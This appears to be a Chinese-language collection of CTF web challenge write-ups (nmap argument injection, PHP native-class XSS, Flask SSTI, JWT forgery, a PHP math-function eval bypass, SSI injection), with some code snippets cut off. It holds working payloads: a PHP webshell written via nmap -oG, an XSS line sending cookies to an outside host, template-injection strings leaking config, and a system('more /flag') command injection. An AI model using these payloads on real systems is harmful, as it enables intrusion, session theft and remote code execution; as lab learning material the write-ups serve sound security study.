[网鼎杯 2020 朱雀组]Nmap
知识点:nmap命令行参数注入
-oG #可以实现将命令和结果写到文件
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//源码的大概形式
传文件上去
' = @eval($_POST["pd"]);?> -oG pd.phtml '
[BJDCTF 2nd]xss之光
知识点:反序列化之PHP原生类的利用
参考
http://blog.ydspoplar.top/2020/03/17/php可利用的原生类/
这里说 Error类和Exception类内置了一个toString方法,可以用这个触发xss漏洞。
payload:
window.location.href=\"http://6493f037-7891-49a8-a042-b185bb260ac1.node3.buuoj.cn/?cookie=\"+escape(document[\"cookie\"])");
$b = serialize($a);
echo urlencode($b);
?>
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
分析源代码
app.config['FLAG'] = os.environ.pop('FLAG')#这里把flag存到config然后删除,pop(),用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
之后过滤左右括号,过滤config和self
如果没有黑名单的时候,我们可以使用config,传入 config,或者使用self传入 {{self.dict}}
当config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量。
这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages
payload:
/shrine/{{url_for.__globals__}}
里面的current_app
/shrine/{{url_for.__globals__['current_app'].config}}
[CISCN2019 华北赛区 Day1 Web2]ikun
这题主要是python反序列化,新世界的大门
先找到lv6在哪
import requests
import re
for i in range(0,999):
url='http://695dc2a4-65e7-46f7-9f15-ed0b0e96397c.node3.buuoj.cn/shop?page='+str(i)
r = requests.session()
text = r.get(url).text
if(text.find('lv6.png')!=-1):
print(i)
把discount改成0.000001,然后跳转到big_member这个网页,说需要admin才能查看
上图中的JWT,全称是 json web token,将其base64解码
后面是加密的内容。
https://www.cnblogs.com/cjsblog/p/9277677.html
这篇文章讲JWT的讲的挺好,JWT是由几部分组成,Header,Payload和Signature,用来加密用的。
https://jwt.io/ JWT在线生成,firefox改cookie。
进入到下一个界面。
[CISCN 2019 初赛]Love Math
= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这里过滤了一些符号,包括单引号双引号。利用一些数学函数构造payload/
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
这里我理解的意思是,从第一个是字母或者下划线或者一些不可见字符开始,直到匹配到特殊字符终止,这里我自己本地跑了一下,例如abc(),c12%,这种就会匹配到非范围内的就会停下来。
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi{exp}))&pi=system&exp=more /flag
但是这里已经有104个字符了,还是能出flag,再长一点就太长了,有点奇怪。
base_convert(),进制转换,最多只能36位,也就是0-9+a-z。
base_convert(37907361743,10,36)->hex2bin #16进制转为acsii字符
dechex(1598506324)-> _GET的16进制
[BJDCTF2020]EasySearch
alert('[+] Welcome to manage system')";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
?>
找到一个2020666
返回头有个
这里的后缀是shtml
知识点:SSI注入
[https://blog.csdn.net/qq_40657585/article/details/84260844]
在user位置进行注入
首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。
①显示服务器端环境变量<#echo>
本文档名称:
现在时间:
显示IP地址:
②将文本内容直接插入到文档中<#include>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
文件的长度:
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)